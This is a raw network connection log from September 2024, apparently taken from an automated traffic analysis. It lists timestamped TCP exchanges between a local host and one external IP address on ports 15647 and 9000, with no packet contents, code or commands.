Sep 26, 2024 01:48:57.778975964 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:57.830749989 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:57.830806971 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.020797968 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.020904064 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.021763086 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.025821924 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.036860943 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.041697025 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.047281027 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.097167015 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.142786980 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.142868996 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.147761106 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.173146009 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.178167105 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.228383064 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.230552912 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.233302116 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.277705908 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.328438997 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.333255053 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.378478050 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.433981895 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.488087893 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.493541002 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.543306112 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.549165964 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.564968109 CEST	9000	58371	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.565074921 CEST	58371	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.566473961 CEST	58371	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.570132017 CEST	58372	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.571283102 CEST	9000	58371	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.575011969 CEST	9000	58372	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.575105906 CEST	58372	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.576541901 CEST	58372	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.581331015 CEST	9000	58372	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.583969116 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.606929064 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.658744097 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.658822060 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.663714886 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.669868946 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.674792051 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.718753099 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.718894005 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.723836899 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.732673883 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.737685919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.763039112 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.767983913 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.788827896 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.794199944 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.842741966 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.842866898 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.847702026 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.863465071 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.868304014 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.889975071 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.903471947 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.938610077 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.938828945 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.986778975 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.986860991 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:58.991791964 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:58.996936083 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.002335072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.028191090 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.033154964 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.034560919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.060322046 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.082870960 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.090935946 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.142687082 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.142750025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.147624016 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.156085014 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.161577940 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.184592962 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.189538002 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.216285944 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.221736908 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.247921944 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.252990007 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.278162956 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.283004999 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.310965061 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.315859079 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.340779066 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.346225977 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.373284101 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.378171921 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.403289080 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.408052921 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.424043894 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.434468985 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.482640982 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.482794046 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.487600088 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.501785994 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.506648064 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.506927013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.528594971 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.578792095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.578897953 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.583798885 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.591003895 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.595932007 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.597615957 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.623471022 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.670761108 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.670869112 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.675935030 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.686239958 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.691139936 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.716638088 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.722987890 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.726550102 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.747622967 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.794616938 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.794701099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.799588919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.810372114 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.815536976 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.843024969 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.847893953 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.851908922 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.883188009 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.930702925 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.930815935 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.936739922 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.950632095 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:59.955657959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.979193926 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:59.981754065 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.192076921 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.192213058 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.192595005 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.197504044 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.200373888 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.205251932 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.232429981 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.237411022 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.241583109 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.265568018 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.314711094 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.314794064 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.319632053 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.325334072 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.330159903 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.331291914 CEST	9000	58372	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.331407070 CEST	58372	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.332144976 CEST	58372	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.337023973 CEST	9000	58372	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.356528997 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.361335993 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.387799025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.392735004 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.415611029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.419959068 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.434441090 CEST	58373	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.441694975 CEST	9000	58373	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.441796064 CEST	58373	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.441903114 CEST	58373	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.446846008 CEST	9000	58373	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.466773033 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.466851950 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.471811056 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.481501102 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.486495018 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.512849092 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.517705917 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.542709112 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.544686079 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.594618082 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.594674110 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.599476099 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.606712103 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.611491919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.641521931 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.646292925 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.669636011 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.673803091 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.722672939 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.722724915 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.727487087 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.732604980 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.737360954 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.763958931 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.768831968 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.794737101 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.796659946 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.840187073 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.843512058 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.843569040 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.849096060 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.859433889 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.864294052 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.923984051 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:00.965238094 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.984380960 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:00.989262104 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.017846107 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.022644997 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.048079014 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.052943945 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.057435036 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.089015961 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.134732008 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.150541067 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.155522108 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.196114063 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.201076031 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.268115044 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.273266077 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.294291019 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.299218893 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.325501919 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.330503941 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.351402044 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.356375933 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.406727076 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.406795979 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.411838055 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.419018984 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.423953056 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.450320959 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.455918074 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.481499910 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.486352921 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.491653919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.512991905 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.562715054 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.562840939 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.567771912 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.576673985 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.581624985 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.617521048 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.622876883 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.670770884 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.670881033 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.672750950 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.675889969 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.685025930 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.689950943 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.716415882 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.721712112 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.747415066 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.752569914 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.780538082 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.785502911 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.788880110 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.809736967 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.858603001 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.858735085 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.863526106 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.872459888 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.877316952 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.903534889 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.908344030 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.910883904 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.947525024 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:01.968364954 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:01.984626055 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.032176971 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.032269001 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.038583040 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.044167995 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.050421000 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.075458050 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.080530882 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.087276936 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.107809067 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.154685974 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.154810905 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.159603119 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.170254946 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.175132990 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.200478077 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.205127001 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.226056099 CEST	9000	58373	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.226300001 CEST	58373	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.226489067 CEST	58373	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.226977110 CEST	58374	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.231225014 CEST	9000	58373	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.231940031 CEST	9000	58374	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.232019901 CEST	58374	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.232110977 CEST	58374	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.236848116 CEST	9000	58374	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.246602058 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.246637106 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.246660948 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.250580072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.252448082 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.262795925 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.267554998 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.294162989 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.300503016 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.325638056 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.330451965 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.343329906 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.358128071 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.410620928 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.410855055 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.415677071 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.435677052 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.440677881 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.465796947 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.470699072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.499087095 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.503923893 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.530073881 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.535110950 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.545977116 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.560973883 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.610913992 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.611010075 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.615885973 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.623420000 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.628281116 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.655222893 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.666277885 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.672694921 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.685530901 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:02.730652094 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:02.730881929 CEST	49716	15647	192.168.2.7	213.109.202.97
